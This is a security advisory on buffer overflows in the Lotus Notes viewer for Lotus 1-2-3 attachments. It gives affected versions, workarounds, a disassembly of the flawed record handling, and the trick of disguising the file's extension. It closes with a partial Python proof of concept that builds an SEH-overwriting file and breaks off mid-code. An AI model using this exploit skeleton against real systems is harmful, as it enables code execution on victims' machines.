-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Core Security Technologies – CoreLabs Advisory http://www.coresecurity.com/corelabs Lotus Notes buffer overflow in the Lotus WorkSheet file processor *Advisory Information* Title: Lotus Notes buffer overflow in the Lotus WorkSheet file processor Advisory ID: CORE-2007-0821 Advisory URL: http://www.coresecurity.com/index.php5?action=item&id=2008 Date published: 2007-11-27 Date of last update: 2007-11-27 Vendors contacted: IBM Corp. Release mode: COORDINATED RELEASE *Vulnerability Information* Class: Input validation error Remotely Exploitable: Yes Locally Exploitable: Yes Bugtraq ID: N/A CVE Name: N/A *Vulnerability Description* Lotus Notes is the integrated email, calendar, instant messenger, browser and business collaboration application developed by IBM to work as a desktop client in conjunction with IBM’s Lotus Domino server application. The email functionality of Lotus Notes supports previewing and processing file attachments in various formats. To preview and process files in the Lotus Worksheet File format (WKS) used by Lotus 1-2-3 the email client uses a library from a third-party software vendor (Autonomy’s Verity KeyView SDK). Several buffer overflow vulnerabilities were found in the third-party library used by Lotus Notes to process Lotus 1-2-3 file attachments. These vulnerabilities could allow attackers to remotely execute arbitrary commands on vulnerable systems by attaching a specially crafted file that triggers exploitation when unsuspecting users attempt to “View” the attachment. Exploitation of these vulnerabilities requires user intervention. Although these specific vulnerabilities exist on a third–party component the problem is compound by the way Lotus Notes displays information about attachments, making it easier to elicit unsuspecting assistance from the users to exploit them. Lotus Notes displays the file type and corresponding icon based on the attached file’s extension rather than the MIME Content-Type header in the email whereas the view functionality is handled by the Verity KeyView component which processes the attachment based on the file contents. Exploitation of these vulnerabilities requires end-user interaction but the discrepancy described above could allow an attacker to send a malicious Lotus 1-2-3 file as an attachment with a seemingly innocuous extension (for example, .JPG or .GIF) that more easily lure users into viewing it thus making it easier to succeed in the exploitation attempt. These vulnerabilities have been discovered and tested using Lotus Notes and the Verity KeyView SDK components it uses but other applications that use the Verity KeyView SDK may be also vulnerable. *Vulnerable packages* - Lotus Notes version 7.x - Lotus Notes version 8.x (not confirmed by Core) - Lotus Notes version 6.5.6 (not confirmed by Core) - Other software packages using Verity KeyView SDK using vulnerable versions of l123sr.dll *Non-vulnerable packages* N/A *Solution/Vendor Information/Workaround* Lotus Notes customers should follow the instructions of the following support Technote, which outlines the available options based on specific versions of Lotus Notes: http://www.ibm.com/support/docview.wss?rs=475&uid=swg21285600 Workaround 1: Delete the keyview.ini file in the Notes program directory. This disables ALL viewers. When a user clicks View (for any file), a dialog box will display with the message "Unable to locate the viewer configuration file.". Workaround 2: Delete the problem file l123sr.dll file. When a user tries to view the specific file type, a dialog box will display with the message "The viewer display window could not be initialized." All other file types work without returning the error message. Workaround 3: Comment out specific lines in keyview.ini for any references to the problem file (l123sr.dll). To comment a line, you precede it with a semi-colon (;). When a user tries to view the specific file type, a dialog box will display with the message "The viewer display window could not be initialized". For example: [KVWKBVE] ;81.2.0.5.0=l123sr.dll ;81.2.0.9.0=l123sr.dll Workaround 4: Filter inbound emails with attachments with potentially malicious files. Lotus 1-2-3 files are usually associated to MIME Content-Type headers set to the following strings: application/lotus-1-2-3 application/lotus123 application/x-lotus123 application/wks application/x-wks application/vnd.lotus-1-2-3 Note however that workaround #4 is a simply stop gap measure that could be circumvented by relatively unsophisticated attackers. *Credits* This vulnerability was discovered by Sebastián Muñiz from the CORE IMPACT Exploit Writers Team (EWT) *Technical Description* Lotus 1-2-3 and Lotus Symphony spreadsheet applications use the Worksheet File format [1] to persist spreadsheet data on the file system. Lotus Notes uses a third-party library [2] to process file attachments in the Lotus Worksheet File format (WKS). A worksheet file in WKS format is simply a binary representation of the spreadsheet built using a sequence of binary records in the TLV form (Type-Length-Value) where both Type and Length are encoded using two bytes. There are multiple vulnerabilities in the way the Verity KeyView SDK DLL processes the TLV records of a worksheet file. These vulnerabilities stem from lack of proper consistency checks for the stated Length and the corresponding Value in several record Types. As an specific example for records of type SRANGE (0x001b) which can specify arbitrary lengths of data that the library attempt to copy in to a fixed length buffer in the stack is shown in following disassembled code: .text:02A87FD4 cmp eax, 1Bh .text:02A87FD7 jz loc_2A881C9 ... .text:02A881DC lea eax, [ebp+szVulnerableBuffer] .text:02A881E2 push edi ; length of read operation, taken from the file .text:02A881E3 push eax ; stack based buffer .text:02A881E4 mov eax, [ebp+0Ch] .text:02A881E7 push eax .text:02A881E8 call dword ptr [eax+24h] ; read function! When a field of type SRANGE (0x001b) is read the conditional jump at 0x02A87FD7 (jz 0x2A881C9) is taken. The destination buffer is cleared and the Length value for this record is read to process it. At address 0x2A881E2 edi (containing the Length of the TLV record) is pushed and then the read operation takes place at address 0x2A881E8 reading an arbitrary amount of bytes into a fixed size buffer in the stack. Thus a malicious Worksheet file can trigger execution of arbitrary code on vulnerable systems by exploiting the vulnerability using one of the appropriate exploitation techniques for stack-based buffer overflows. However, exploitation on a Lotus Notes email client requires that the user attempts to view the attached file following this steps: 1- Select email containing the attachment 2- Right-click on attachment 3- Select “View” to open the file inside of Lotus Notes. Unfortunately, users can be lured into performing the steps above due to the fact that it is possible to send a malicious attachment with a seemingly innocuous file name and extension such and have the Lotus Note client show a graphic icon for the attachment that corresponds to the filename extension and not to the actual contents of the file. Proof of concept snippets The following snippet of Python code generates a .123 file that triggers the bug when it is processed by vulnerable versions of the library. The proof-of-concept file will only trigger an exception for debugging purposes (int 3) but it makes it evident that exploitation of the bug in order to execute any arbitrary code is possible. from sys import argv from struct import pack def createMaliciousFile(filename): seh_offset = 0x9c4 jumper = 0x06ad890d # pop pop ret ... CHANGE IT! (dll is rebased) shellcode = '\x90' * 0x400 + '\xCC' # nopsled and int 3 content = '\x00\x00' # header record type content += '\x1a\x00' # header length content += '\x05\x10\x04\x00\x00\x00\x00\x00\x09\x00\x00\x01' content += '\x01\x00\x30\x8d\x01\x0a\x00\x00\x00\x00\x00\x00\x00\x00' content += '\x1b\x00' # vulnerable record type payload = '' payload += '\x90' * (seh_offset - 4) #others too payload += '\xeb\x06\x90\x90' # jmp six bytes forward payload += pack('